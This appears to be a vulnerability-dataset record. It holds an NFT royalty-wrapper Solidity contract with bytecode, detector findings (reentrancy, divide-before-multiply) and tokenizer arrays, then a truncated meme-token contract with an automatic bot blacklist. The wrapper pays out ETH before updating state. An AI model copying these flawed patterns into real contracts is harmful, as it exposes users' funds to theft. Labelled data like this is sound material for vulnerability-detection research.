transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted * @param _data bytes data to send along with a safe transfer check */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This function is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /** * @dev Constructor function */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /** * @dev Gets the token name. * @return string representing the token name */ function name() external view returns (string memory) { return _name; } /** * @dev Gets the token symbol. * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns an URI for a given token ID. * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query */ /** * @dev Internal function to set the token URI for a given token. * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to set its URI * @param uri string URI to assign */ function _setTokenURI(uint256 tokenId, string memory uri) internal { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = uri; } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } /** * Utilities library */ library Utilities { // concat two bytes objects function concat(bytes memory a, bytes memory b) internal pure returns (bytes memory) { return abi.encodePacked(a, b); } // convert address to bytes function toBytes(address x) internal pure returns (bytes memory b) { b = new bytes(20); for (uint i = 0; i < 20; i++) b[i] = byte(uint8(uint(x) / (2**(8*(19 - i))))); } // convert uint256 to bytes function toBytes(uint256 x) internal pure returns (bytes memory b) { b = new bytes(32); assembly { mstore(add(b, 32), x) } } } contract lexArtWrapper { using SafeMath for uint256; uint256 public nftCount; struct NFT { address tokenAddress; uint256 tokenId; address payable currentOwner; uint8 startingRoyalties; } struct Owner { address payable ownerAddress; uint8 royalties; uint256 royaltiesReceived; uint8 gifted; // 1 = gifted (gifted owner retains royalties), 0 = not gifted } struct Buyer { address payable buyerAddress; uint256 transactionValue; uint8 ownerOffered; // 1 = offer active, 0 = offer inactive } mapping(bytes => NFT) public NFTs; mapping (bytes => Owner[]) public owners; mapping (bytes => Buyer) public buyers; function wrapNFT(address tokenAddress, uint256 tokenId, uint8 startingRoyalties) public { // check that the message sender owns the token at _tokenAddress require(ERC721(tokenAddress).ownerOf(tokenId) == msg.sender, "Sender not authorized to wrap!"); bytes memory tokenKey = getTokenKey(tokenAddress, tokenId); NFTs[tokenKey].tokenAddress = tokenAddress; NFTs[tokenKey].tokenId = tokenId; NFTs[tokenKey].currentOwner = msg.sender; NFTs[tokenKey].startingRoyalties = startingRoyalties; owners[tokenKey].push(Owner(msg.sender, startingRoyalties, 0, 0)); nftCount++; } function decayRoyalties(uint8 _royalties) internal pure returns (uint8) { return _royalties - 1; } // owner makes offer by assigning buyer function makeOffer(address tokenAddress, uint256 tokenId, address payable buyer, uint256 transactionValue) public { require(ERC721(tokenAddress).ownerOf(tokenId) == msg.sender, "Sender not authorized to make offer!"); require(nftCount > 0, "Wrap an NFT first!"); bytes memory tokenKey = getTokenKey(tokenAddress, tokenId); require(NFTs[tokenKey].tokenAddress == tokenAddress && NFTs[tokenKey].tokenId == tokenId, "This NFT has not been wrapped!"); buyers[tokenKey].buyerAddress = buyer; buyers[tokenKey].transactionValue = transactionValue; buyers[tokenKey].ownerOffered = 1; // ERC721(tokenAddress).approve(address(this), tokenId); } // distribute royalties function distributeRoyalties(bytes memory _tokenKey, uint256 _transactionValue) internal returns (uint256) { uint256 totalPayout = _transactionValue.div(100); uint256 royaltyPayout; // royalties distribution for (uint256 i = 0; i < owners[_tokenKey].length; i++) { uint256 eachPayout; eachPayout = totalPayout.mul(owners[_tokenKey][i].royalties); royaltyPayout += eachPayout; owners[_tokenKey][i].ownerAddress.transfer(eachPayout); owners[_tokenKey][i].royaltiesReceived += eachPayout; } return royaltyPayout; } // buyer accepts offer function acceptOffer(address tokenAddress, uint256 tokenId) public payable { bytes memory tokenKey = getTokenKey(tokenAddress, tokenId); require(msg.sender == buyers[tokenKey].buyerAddress, "You are not the buyer to accept owner's offer!"); require(msg.value == buyers[tokenKey].transactionValue, "Incorrect payment amount!"); require(buyers[tokenKey].ownerOffered == 1, "Owner has not made any offer!"); // Calculate royalty payout uint256 royaltyPayout = distributeRoyalties(tokenKey, buyers[tokenKey].transactionValue); // Owner receives transactionValue less royaltyPayout owners[tokenKey][owners[tokenKey].length - 1].ownerAddress.transfer(buyers[tokenKey].transactionValue - royaltyPayout); ERC721(tokenAddress).transferFrom(owners[tokenKey][owners[tokenKey].length - 1].ownerAddress, buyers[tokenKey].buyerAddress, tokenId); // Add new owner to owners mapping uint8 newDecayedRoyalties = decayRoyalties(owners[tokenKey][owners[tokenKey].length - 1].royalties); owners[tokenKey].push(Owner(msg.sender, newDecayedRoyalties, 0, 0)); // Complete owner's offer buyers[tokenKey].ownerOffered = 0; // Update new owner to NFTs mapping NFTs[tokenKey].currentOwner = msg.sender; } // Function for getting the document key for a given NFT address + tokenId function getTokenKey(address tokenAddress, uint256 tokenId) public pure returns (bytes memory) { return Utilities.concat(Utilities.toBytes(tokenAddress), Utilities.toBytes(tokenId)); } }
0x60806040526004361061007b5760003560e01c80634d545b691161004e5780634d545b69146102885780637a83b3d51461037257806380f7e78814610450578063b1b9e78d146104925761007b565b80630af2c6ca146100805780633096fe2d146100a75780633c4dd32e146100f0578063450439431461019e575b600080fd5b34801561008c57600080fd5b506100956104be565b60408051918252519081900360200190f35b3480156100b357600080fd5b506100ee600480360360808110156100ca57600080fd5b506001600160a01b03813581169160208101359160408201351690606001356104c4565b005b3480156100fc57600080fd5b506101296004803603604081101561011357600080fd5b506001600160a01b03813516906020013561087b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016357818101518382015260200161014b565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101aa57600080fd5b50610251600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184600183028401116401000000008311171561021057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506108a0945050505050565b604080516001600160a01b0395861681526020810194909452919093168282015260ff909216606082015290519081900360800190f35b34801561029457600080fd5b5061033d600480360360408110156102ab57600080fd5b8101906020810181356401000000008111156102c657600080fd5b8201836020820111156102d857600080fd5b803590602001918460018302840111640100000000831117156102fa57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506108e7915050565b604080516001600160a01b03909516855260ff9384166020860152848101929092529091166060830152519081900360800190f35b34801561037e57600080fd5b506104256004803603602081101561039557600080fd5b8101906020810181356401000000008111156103b057600080fd5b8201836020820111156103c257600080fd5b803590602001918460018302840111640100000000831117156103e457600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061094a945050505050565b604080516001600160a01b039094168452602084019290925260ff1682820152519081900360600190f35b34801561045c57600080fd5b506100ee6004803603606081101561047357600080fd5b5080356001600160a01b0316906020810135906040013560ff16610983565b6100ee600480360360408110156104a857600080fd5b506001600160a01b038135169060200135610d4b565b60005481565b336001600160a01b0316846001600160a01b0316636352211e856040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561051257600080fd5b505afa158015610526573d6000803e3d6000fd5b505050506040513d602081101561053c57600080fd5b50516001600160a01b0316146105835760405162461bcd60e51b8152600401808060200182810382526024815260200180611b576024913960400191505060405180910390fd5b60008054116105ce576040805162461bcd60e51b81526020600482015260126024820152715772617020616e204e46542066697273742160701b604482015290519081900360640190fd5b60606105da858561087b565b9050846001600160a01b03166001826040518082805190602001908083835b602083106106185780518252601f1990920191602091820191016105f9565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220546001600160a01b03169290921491505080156106c75750836001826040518082805190602001908083835b6020831061068e5780518252601f19909201916020918201910161066f565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060010154145b610718576040805162461bcd60e51b815260206004820152601e60248201527f54686973204e465420686173206e6f74206265656e2077726170706564210000604482015290519081900360640190fd5b826003826040518082805190602001908083835b6020831061074b5780518252601f19909201916020918201910161072c565b51815160209384036101000a6000190180199092169116179052920194855250604051938490038101842080546001600160a01b0319166001600160a01b039690961695909517909455505082518492600392859290918291908401908083835b602083106107cb5780518252601f1990920191602091820191016107ac565b51815160209384036101000a600019018019909216911617905292019485525060405193849003810184206001908101959095558551600394879450925082918401908083835b602083106108315780518252601f199092019160209182019101610812565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220600201805460ff191660ff949094169390931790925550505050505050565b606061089761088984611641565b610892846116be565b6116e8565b90505b92915050565b8051602081830181018051600180835293830192909401919091209290528154908201546002909201546001600160a01b039182169291811690600160a01b900460ff1684565b8151602081840181018051600282529282019185019190912091905280548290811061090f57fe5b60009182526020909120600390910201805460018201546002909201546001600160a01b038216945060ff600160a01b909204821693501684565b80516020818301810180516003825292820191909301209152805460018201546002909201546001600160a01b03909116919060ff1683565b336001600160a01b0316836001600160a01b0316636352211e846040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156109d157600080fd5b505afa1580156109e5573d6000803e3d6000fd5b505050506040513d60208110156109fb57600080fd5b50516001600160a01b031614610a58576040805162461bcd60e51b815260206004820152601e60248201527f53656e646572206e6f7420617574686f72697a656420746f2077726170210000604482015290519081900360640190fd5b6060610a64848461087b565b9050836001826040518082805190602001908083835b60208310610a995780518252601f199092019160209182019101610a7a565b51815160209384036101000a6000190180199092169116179052920194855250604051938490038101842080546001600160a01b0319166001600160a01b039690961695909517909455505082518592600192859290918291908401908083835b60208310610b195780518252601f199092019160209182019101610afa565b51815160209384036101000a600019018019909216911617905292019485525060405193849003810184206001908101959095558551339594879450925082918401908083835b60208310610b7f5780518252601f199092019160209182019101610b60565b51815160209384036101000a6000190180199092169116179052920194855250604051938490038101842060020180546001600160a01b0319166001600160a01b039690961695909517909455505082518492600192859290918291908401908083835b60208310610c025780518252601f199092019160209182019101610be3565b51815160209384036101000a600019018019909216911617905292019485525060405193849003810184206002908101805460ff60a01b1916600160a01b60ff989098169790970296909617909555855186949350839250908401908083835b60208310610c815780518252601f199092019160209182019101610c62565b51815160209384036101000a600019018019909216911617905292019485525060408051948590038201852060808601825233865260ff97881686840190815260009287018381526060880184815283546001808201865594865295852098516003909602909801805492516001600160a01b03199093166001600160a01b039096169590951760ff60a01b1916600160a01b928b1692909202919091178455518382015594516002909201805460ff191692909716919091179095555050825401909155505050565b6060610d57838361087b565b90506003816040518082805190602001908083835b60208310610d8b5780518252601f199092019160209182019101610d6c565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220546001600160a01b031633149150610e0190505760405162461bcd60e51b815260040180806020018281038252602e815260200180611b7b602e913960400191505060405180910390fd5b6003816040518082805190602001908083835b60208310610e335780518252601f199092019160209182019101610e14565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092206001015434149150610eb99050576040805162461bcd60e51b815260206004820152601960248201527f496e636f7272656374207061796d656e7420616d6f756e742100000000000000604482015290519081900360640190fd5b6003816040518082805190602001908083835b60208310610eeb5780518252601f199092019160209182019101610ecc565b51815160001960209485036101000a0190811690199190911617905292019485525060405193849003019092206002015460ff166001149150610f779050576040805162461bcd60e51b815260206004820152601d60248201527f4f776e657220686173206e6f74206d61646520616e79206f6666657221000000604482015290519081900360640190fd5b6000610fe7826003846040518082805190602001908083835b60208310610faf5780518252601f199092019160209182019101610f90565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092206001015491506117a39050565b90506002826040518082805190602001908083835b6020831061101b5780518252601f199092019160209182019101610ffc565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060016002846040518082805190602001908083835b602083106110825780518252601f199092019160209182019101611063565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054845493900392831091506110c0905057fe5b906000526020600020906003020160000160009054906101000a90046001600160a01b03166001600160a01b03166108fc826003856040518082805190602001908083835b602083106111245780518252601f199092019160209182019101611105565b51815160209384036101000a600019018019909216911617905292019485525060405193849003018320600101549390930380159490940293925060009050818181858888f19350505050158015611180573d6000803e3d6000fd5b50836001600160a01b03166323b872dd6002846040518082805190602001908083835b602083106111c25780518252601f1990920191602091820191016111a3565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060016002866040518082805190602001908083835b602083106112295780518252601f19909201916020918201910161120a565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092205484549390039283109150611267905057fe5b60009182526020918290206003918202015460405187516001600160a01b0390921693889282918401908083835b602083106112b45780518252601f199092019160209182019101611295565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900390910184205460e087901b6001600160e01b03191685526001600160a01b0395861660048601529490941660248401525050604481018790529051606480830192600092919082900301818387803b15801561133757600080fd5b505af115801561134b573d6000803e3d6000fd5b50505050600061144b6002846040518082805190602001908083835b602083106113865780518252601f199092019160209182019101611367565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060016002866040518082805190602001908083835b602083106113ed5780518252601f1990920191602091820191016113ce565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220548454939003928310915061142b905057fe5b6000918252602090912060039091020154600160a01b900460ff16611a12565b90506002836040518082805190602001908083835b6020831061147f5780518252601f199092019160209182019101611460565b51815160209384036101000a600019018019909216911617905292019485525060408051948590038201852060808601825233865260ff878116878501908152600088850181815260608a018281528554600180820188559684528884209b516003918202909c01805495516001600160a01b03199096166001600160a01b03909d169c909c1760ff60a01b1916600160a01b95871695909502949094178b559051948a019490945592516002909801805460ff1916989092169790971790559051885191959450889350918291908401908083835b602083106115745780518252601f199092019160209182019101611555565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420600201805460ff191660ff9690961695909517909455505084513392600192879290918291908401908083835b602083106115eb5780518252601f1990920191602091820191016115cc565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922060020180546001600160a01b0319166001600160a01b03949094169390931790925550505050505050565b60408051601480825281830190925260609160208201818038833901905050905060005b60148110156116b8578060130360080260020a836001600160a01b03168161168957fe5b0460f81b82828151811061169957fe5b60200101906001600160f81b031916908160001a905350600101611665565b50919050565b60408051602080825281830190925260609160208201818038833950505060208101929092525090565b606082826040516020018083805190602001908083835b6020831061171e5780518252601f1990920191602091820191016116ff565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106117665780518252601f199092019160209182019101611747565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052905092915050565b6000806117b783606463ffffffff611a1916565b90506000805b6002866040518082805190602001908083835b602083106117ef5780518252601f1990920191602091820191016117d0565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220548310159150611a0990505760006118ba6002886040518082805190602001908083835b6020831061185d5780518252601f19909201916020918201910161183e565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092208054909250859150811061189857fe5b60009182526020909120600390910201548590600160a01b900460ff16611a5b565b905080830192506002876040518082805190602001908083835b602083106118f35780518252601f1990920191602091820191016118d4565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092208054909250849150811061192e57fe5b600091825260208220600390910201546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015611973573d6000803e3d6000fd5b50806002886040518082805190602001908083835b602083106119a75780518252601f199092019160209182019101611988565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220805490925085915081106119e257fe5b600091825260209091206001600390920201810180549092019091559190910190506117bd565b50949350505050565b6000190190565b600061089783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ab4565b600082611a6a5750600061089a565b82820282848281611a7757fe5b04146108975760405162461bcd60e51b8152600401808060200182810382526021815260200180611ba96021913960400191505060405180910390fd5b60008183611b405760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b05578181015183820152602001611aed565b50505050905090810190601f168015611b325780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611b4c57fe5b049594505050505056fe53656e646572206e6f7420617574686f72697a656420746f206d616b65206f6666657221596f7520617265206e6f742074686520627579657220746f20616363657074206f776e65722773206f6666657221536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158200a189537ec96986fee0671f96ea56dd0f894a18a7eabf04b814bb77e4d00e2fa64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17134, 19841, 2683, 2094, 2620, 2094, 27009, 18139, 2581, 14526, 2692, 2581, 20842, 2692, 2497, 25746, 2475, 2278, 25746, 2629, 2546, 2549, 2050, 19841, 24096, 2487, 2278, 2549, 1013, 1008, 6203, 5796, 2290, 1012, 4604, 2121, 1006, 1055, 1007, 1024, 1013, 17244, 8445, 2003, 1037, 2622, 1999, 8247, 1012, 1013, 1013, 3531, 15727, 1998, 2224, 2012, 2115, 2219, 3891, 1012, 1013, 1013, 1013, 2045, 2003, 2036, 1037, 4830, 2080, 2000, 3693, 2065, 2017, 1005, 2128, 8025, 1012, 1013, 1013, 1013, 1013, 2023, 2003, 3642, 1010, 2123, 1005, 1056, 9530, 3367, 28551, 2023, 2004, 3423, 6040, 2030, 6110, 2005, 2658, 9517, 1012, 1013, 1013, 1013, 1013, 1013, 8954, 2023, 1039, 2692, 2094, 2509, 14540, 2549, 2860, 1066, 3591, 2011, 9587, 2140, 26511, 2102, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,620
0x97139d29Aba822fD502fF5999DE444341E552612
/* HODLONAUT INU: $HODLO Tg: https://t.me/hodlonautinu */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Hodlonaut is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hodlonaut Inu"; string private constant _symbol = "HODLO"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _devFund; address payable private _marketingFunds; address payable private _buybackWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) { _devFund = devFundAddr; _marketingFunds = marketingFundAddr; _buybackWalletAddress = buybackAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devFund] = true; _isExcludedFromFee[_marketingFunds] = true; _isExcludedFromFee[_buybackWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } if (block.number <= launchBlock + 2 && amount == _maxTxAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { bots[to] = true; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devFund.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(4).div(10)); _buybackWalletAddress.transfer(amount.mul(2).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; 